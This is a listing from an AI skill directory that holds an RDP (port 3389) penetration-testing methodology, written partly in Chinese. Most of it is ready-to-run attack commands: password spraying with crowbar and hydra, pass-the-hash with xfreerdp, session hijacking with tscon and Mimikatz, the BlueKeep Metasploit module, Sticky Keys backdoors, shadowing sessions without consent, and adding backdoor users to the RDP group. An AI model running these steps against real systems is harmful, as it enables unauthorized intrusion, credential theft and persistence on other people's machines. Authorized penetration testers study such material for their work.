SuperAPI AI Directory

rdp-pentesting

Security & auditing

View repository

Updated 10-16 04:39

About this skill

RDP Penetration Testing Methodology (3389)

In-depth Reference


Overall Decision Tree

发现 3389 端口开放
├─ Phase 1: 服务发现
│   ├─ Nmap 脚本扫描 -> 获取加密方式 / NLA 状态 / NTLM 信息
│   ├─ 版本探测 -> 对照已知漏洞 (Phase 4)
│   └─ NLA 是否启用?
│       ├─ 未启用 -> 可截图 / 匿名探测
│       └─ 已启用 -> 需凭据才能交互
├─ Phase 2: 凭据攻击
│   ├─ 密码喷洒 (crowbar / hydra / nxc) -- 注意锁定风险
│   ├─ 已知凭据验证 (rdp_check / xfreerdp)
│   └─ Pass-the-Hash (xfreerdp /pth:)
├─ Phase 3: 会话劫持
│   ├─ 需要 SYSTEM 权限
│   ├─ query user -> 枚举活跃会话
│   ├─ tscon <ID> /dest:<SESSION> -> 劫持会话
│   └─ Mimikatz ts::remote -> 替代方案
├─ Phase 4: 已知漏洞
│   ├─ CVE-2019-0708 (BlueKeep) — Windows 7 / 2008 R2 pre-auth RCE
│   ├─ CVE-2012-0002 (MS12-020) — RDP DoS / 潜在 RCE
│   └─ NLA 绕过场景 -> 降级攻击
└─ Phase 5: 后渗透技巧
    ├─ RDP Shadow (远程控制其他用户会话)
    ├─ Sticky Keys / Utilman 后门
    ├─ RDP 进程注入 (高权限用户 RDP 时注入 beacon)
    └─ RDP 虚拟通道隧道 (rdp2tcp)

Phase 1: Service Discovery

1.1 Nmap Enumeration

# 综合扫描: 加密方式 + DoS 漏洞 + NTLM 信息
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

1.2 Security Layer / NLA Check

# 安全层与加密信息
nmap --script rdp-enum-encryption -p 3389 <IP>

# NXC 快速认证检查 (同时报告 NLA 是否要求)
nxc rdp <IP> -u <user> -p <password>

# NLA 未启用时可截图 (无需认证)
nxc rdp <IP> --nla-screenshot

# 已认证截图
nxc rdp <IP> -u <user> -p <password> --screenshot

Key Judgments:

  • NLA not enabled -> unauthenticated information gathering possible / BlueKeep exploitation easier
  • NTLM information disclosure -> obtain Windows version, domain, hostname

Phase 2: Credential Attacks

2.1 Password Spraying

Warning: RDP brute forcing may cause account lockout; be sure to use low speed and few attempts.

# crowbar — 专为 RDP 设计的爆破工具
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'

# hydra — 通用爆破
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

2.2 Known Credential Verification

# impacket rdp_check — 验证凭据有效性
rdp_check <domain>/<name>:<password>@<IP>

# RDP 连接
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>

# Pass-the-Hash
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP>

2.3 Credential Attack Decision Tree

凭据获取路径
├─ 有用户名列表
│   ├─ 密码喷洒 (低速,单密码多用户)
│   └─ 常见弱密码尝试: P@ssw0rd, <Company>123, <Season><Year>
├─ 有 NTLM 哈希
│   └─ xfreerdp /pth: 直接 Pass-the-Hash
├─ 有域凭据
│   └─ rdp_check 批量验证
└─ 凭据有效
    ├─ 进入 Phase 3 (会话劫持) — 如已有 SYSTEM 权限
    └─ 进入 Phase 5 (后渗透)

Phase 3: Session Hijacking

Requires SYSTEM privileges, can access any already-open RDP session without knowing the password.

3.1 Session Enumeration and Hijacking

# 枚举当前活跃会话
query user

# 劫持指定会话 (会踢掉原用户)
tscon <ID> /dest:<SESSIONNAME>

3.2 Mimikatz Method

# Mimikatz 会话操作
ts::sessions        # 列出会话
ts::remote /id:2    # 连接到会话

3.3 Session Hijacking Decision Tree

有 SYSTEM 权限
├─ query user 发现活跃 RDP 会话
│   ├─ 管理员会话 -> tscon 劫持 -> 获取管理员桌面
│   ├─ 普通用户会话 -> 检查其桌面 (记事本密码、其他 RDP 会话)
│   └─ Disconnected 会话 -> 同样可劫持
└─ 无活跃会话
    └─ 等待用户登录 / 转向其他攻击

Phase 4: Known Vulnerabilities

4.1 Vulnerability Detection Decision Tree

RDP 版本/系统已知
├─ Windows 7 / 2008 R2 (未打补丁)
│   └─ CVE-2019-0708 (BlueKeep) — pre-auth RCE
│       ├─ 检测: nmap --script rdp-vuln-ms12-020 -p 3389 <IP>
│       ├─ Metasploit: exploit/windows/rdp/cve_2019_0708_bluekeep_rce
│       └─ 前提: NLA 未启用时利用更可靠
├─ Windows XP / 2003 / Vista / 7 / 2008
│   └─ CVE-2012-0002 (MS12-020) — RDP DoS / 潜在 RCE
│       └─ 检测: nmap --script rdp-vuln-ms12-020 -p 3389 <IP>
└─ NLA 降级攻击
    ├─ 中间人场景下强制客户端降级到旧安全层
    └─ 截获凭据 (Seth / rdp-sec-check)

Phase 5: Post-Exploitation Techniques

5.1 RDP Shadow (Remote Control)

If the Remote Desktop Services Shadow feature is enabled, you can view or control other users' active sessions.

# 列出远程主机会话
qwinsta /server:<IP>

# Shadow 指定会话 (需同意时)
mstsc /v:<IP> /shadow:<SESSION_ID> /control

# 无需同意 (策略允许时)
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt

# 检查 Shadow 策略
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

5.2 Sticky Keys / Utilman Backdoor

# 替换 sethc.exe 或 utilman.exe 为 cmd.exe
# 在 RDP 登录界面触发快捷键即获得 SYSTEM cmd

# 搜索已被后门化的 RDP
# https://github.com/linuz/Sticky-Keys-Slayer

5.3 RDP Process Injection

When a high-privilege user logs in via RDP to a host you already control, you can inject a beacon into their RDP session process to impersonate that user's identity.

5.4 RDP Virtual Channel Tunneling

RDP supports virtual channels, which can be abused for data tunneling / port forwarding.

# rdp2tcp: 通过 RDP 虚拟通道复用 TCP 转发
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp

5.5 Add User to RDP Group

net localgroup "Remote Desktop Users" UserLoginName /add

Automation Tools

Tool Purpose
AutoRDPwn PowerShell post-exploitation framework, automates Shadow attacks
EvilRDP Command-line control of mouse/keyboard, clipboard, SOCKS proxy, fileless command execution
SharpRDP Graphical-interface-free RDP command execution